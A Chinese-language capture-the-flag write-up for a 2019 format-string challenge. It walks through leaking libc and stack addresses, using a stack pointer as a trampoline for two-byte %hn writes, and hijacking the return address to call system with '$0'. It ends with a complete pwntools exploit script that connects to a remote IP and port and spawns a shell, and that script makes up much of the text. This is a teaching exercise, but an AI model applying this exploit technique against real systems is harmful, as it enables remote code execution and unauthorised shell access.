先查看程序保护,保护全开
拿到程序一眼就看到了格式化字符串的漏洞
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+0h] [ebp-10h]
unsigned int v6; // [esp+4h] [ebp-Ch]
int *v7; // [esp+8h] [ebp-8h]
v7 = &argc;
v6 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to kanxue 2019, your pwn like cxk");
do
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 1 )
break;
printf("What do tou want to say:");
read_input((int)&echo, 0x18);
printf((const char *)&echo);
puts((const char *)&unk_A97);
}
}
while ( v3 != 2 );
return 0;
}
一眼看到了格式化字符串,由于开了RELOD保护无法改变got表内容的值,只好对其栈上的返回地址进行劫持,并且设置返回地址的参数。
但是由于是栈劫持必须要对栈进行写入。但是格式化字符串的东西不存储在栈中,其中意味着不能对其进行直接写入。使用前面输入的那个进行任意地址写。于是上网百度查了一波发现:
很多出题人把格式化串放到堆或是bss段中,这样你就不能像传统的那样去读取格式化串中的目标地址了,不在栈中你是不可能读到的。对于这种题目的做法就是要进行两次漏洞利用,第一次在栈中构造跳板。第二次利用跳板去进行任意地址写。具体的说就是:第一次:在栈中找一个指向栈里面的指针(这种指针肯定会有,因为堆栈框架就是这样的),往这个栈的地方写入第二次要写入的地址。第二次:就跟正常利用一样了,
于是我们便要寻找跳板。不过在这之前我们先要泄露一些信息,比如动态链接库的地址,栈的地址。
payload=%11$p泄露__libc_start_main+247的地址,可以拿到libc版本
payload=%8$p泄露栈的地址
拿到栈的地址后根据计算就可以拿到返回地址(0xffffd01c)和参数的地址(0xffffd024)。接着开始往返回地址写入值了,
一开始随便选了一个跳板写入发现%n写入不了,问了师傅,师傅告诉我每次只能写入两个字节,跳板内要写函数的返回地址,发现偏移为5处的跳板(0xffffd0b4)的值(0xffffb28a)前两个字节与返回地址相同,可以利用其只写入后两个字节,这样跳板内的地址变为返回地址,而跳板的地址(0xffffd0b4)的偏移为0x35(53)。我们便可以向偏移53处(即返回地址)写入system的地址的后两个字节。
之后高两个字节将返回地址+2之后,再进行写入到偏移53处再写入sysytem的前两个字节
这样返回地址就成功劫持了,之后再写入参数的地址写入/bin/sh的地址。这样本地就能拿到权限了
但是给我们的libc里面没有/bin/sh字符串。。只有靠我们自己写入/bin/sh。再栈上直接写入,由于/bin/sh太长了 直接写入$0亦可开启shell,参数的地址就定在偏移8的地址(0xffffd020)向其写入0xffffd020即可。
最后payload如下
from pwn import *
context.log_level='debug'
#p=process('./format')
p=remote('152.136.18.34','9999')
def format(payload):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('say:')
p.send(str(payload))
#leak the libc_main+247
payload='%11$p'
format(payload)
libc_start_main_247=p.recv(10)
libc_start_main=int(libc_start_main_247,16)-247
print hex(libc_start_main)
##leak the stack
payload='%8$p'
format(payload)
stack=p.recv(10)
stack_addr=int(stack,16)
print hex(stack_addr)
payload='%'+'12324'+'c'+'%8$hn'##write $0
format(payload)
libc_base=libc_start_main-0x18540
system_addr=libc_base+0x3a940
#gdb.attach(p)
#pause()
str_bin_sh=stack_addr
#system_addr=libc_start_main+0x22860
#str_bin_sh=libc_start_main+0x1434cb
print 'system'
print hex(system_addr)
retn_addr=stack_addr-4
parment_addr=stack_addr+4
retn_addr_1=retn_addr+2
parment_addr_1=stack_addr+6
#change retn
##lowb
#gdb.attach(p)
payload='%'+str(retn_addr&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(system_addr&0xffff)+'c'+'%53$hn'
format(payload)
print 'retn low finish'
print hex(system_addr)
#high b
payload='%'+str(retn_addr_1&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(system_addr>>16)+'c'+'%53$hn'
format(payload)
print 'retn high finish'
#change parment
payload='%'+str(parment_addr&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(str_bin_sh&0xffff)+'c'+'%53$hn'
format(payload)
print 'parment high finish'
payload='%'+str(parment_addr_1&0xffff)+'c'+'%5$hn'
format(payload)
payload='%'+str(str_bin_sh>>16)+'c'+'%53$hn'
format(payload)
print 'all finish'
p.recvuntil('Choice:')
p.sendline('2')
p.interactive()